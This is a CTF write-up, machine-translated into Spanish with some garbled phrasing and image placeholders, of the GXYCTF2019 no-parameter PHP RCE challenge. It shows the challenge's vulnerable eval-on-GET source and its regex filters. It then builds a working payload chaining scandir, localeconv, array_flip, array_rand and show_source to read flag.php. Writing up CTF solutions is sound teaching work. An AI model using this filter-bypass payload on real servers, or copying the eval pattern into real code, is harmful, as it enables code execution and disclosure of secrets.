[GXYCTF2019] Se prohíbe el RCE sin parámetros para muñecas

Inserte la descripción de la imagen aquí
Solo hay una oración en la pregunta y F12 no puede ver ninguna información. Al intentar escanear en segundo plano, el resultado no es información.
Usando Githack, hubo una filtración de código fuente de git.
Inserte la descripción de la imagen aquí

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    
    
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    
      过滤php协议
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    
    
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    
    
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
    
    
                die("还差一点哦!");
            }
        }
        else{
    
    
            die("再好好想想!");
        }
    }
    else{
    
    
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

Analiza el código fuente:

  1. El parámetro exp se pasa en el método GET y, si se cumplen las condiciones, el contenido exp se ejecutará como código php.
  2. El pseudo-protocolo data / filter / php / phar se filtra y el archivo no se puede leer directamente con el pseudo-protocolo.
  3. (? R) se refiere a la expresión actual, seguida de? Llamada recursiva. Solo se pueden comparar las funciones que no pasan ningún parámetro.
  4. La concordancia regular también filtra palabras clave como et / na / info, lo que hace que muchas funciones como inutilizar
  5. eval ($ _ GET ['exp']); RCE típico sin parámetros
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    
        
    eval($_GET['code']);
}

Cuando existen tales restricciones, encontraremos que no podemos pasar la verificación regular si usamos los parámetros.

/[^\W]+\((?R)?\)/

Y esta regularidad es exactamente lo que llamamos la verificación de funciones sin parámetros, que solo permiten la ejecución de las siguientes funciones de formato

a(b(c()));
a();

Pero no permitido

a('123');

De esta forma, sin los parámetros, la dificultad para que podamos realizar RCE aumentará significativamente.
Dado que getshell es básicamente imposible, considere leer el código fuente. Mirando el código fuente, la bandera debería estar en flag.php. Encontramos una manera de leer

Primero, necesita obtener los archivos en el directorio actual. La función
scandir () puede escanear los archivos en el directorio actual, por ejemplo:

<?php
print_r(scandir('.'));
?>

Pero cómo construir scandir('.'), aquí hay un ‘.’pase directo en el que es equivalente a pasar un parámetro, exp aún se filtra, por lo que tenemos que pensar en otro método en su lugar. '.'
Hay un punto de conocimiento involucrado:
current(localeconv())siempre un punto
localeconv () El La función devuelve una matriz que contiene información sobre el formato de moneda y el número local. El primer elemento de la .
matriz es el elemento actual de la matriz devuelto por current (), que por defecto es el primer valor.
pos () es un alias de current ().
pos(localeconv())Y current(localeconv())como resultado, estamos representados '.'
por lo que estas dos funciones son un nido'.'

Luego lo solucionamos en el primer paso:

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

Inserte la descripción de la imagen aquí
El siguiente paso es si la antepenúltima matriz se lee como y?

array_flip () : intercambia las claves y valores en la matriz.

Inserte la descripción de la imagen aquí
En este punto, se intercambian la clave y el valor, y el siguiente paso es cómo recuperar su clave.

array_rand () : saca aleatoriamente una o más unidades de la matriz

Inserte la descripción de la imagen aquí

La última pregunta es cómo leer el código fuente de flag.php.
Dado que et está filtrado, file_get_contents () no se puede usar, pero se puede usar readfile () o highlight_file () y su función de alias show_source ().
Con las funciones anteriores, podemos combinar estas funciones para leer la bandera.

http://target.com/?exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
http://target.com/?exp=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));

Inserte la descripción de la imagen aquí
Dado que la función array_rand () se usa para obtener aleatoriamente el valor de la clave, es posible que deba actualizarse varias veces para obtener el flag.php

Enlace de referencia:
https://www.cnblogs.com/wangtanzhi/p/12260986.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80% E4% B9% 88% E6% 98% AF% E6% 97% A0% E5% 8F% 82% E6% 95% B0% E5% 87% BD% E6% 95% B0RCE

Supongo que te gusta

Origin blog.csdn.net/weixin_43749601/article/details/109922222
Recomendado
Clasificación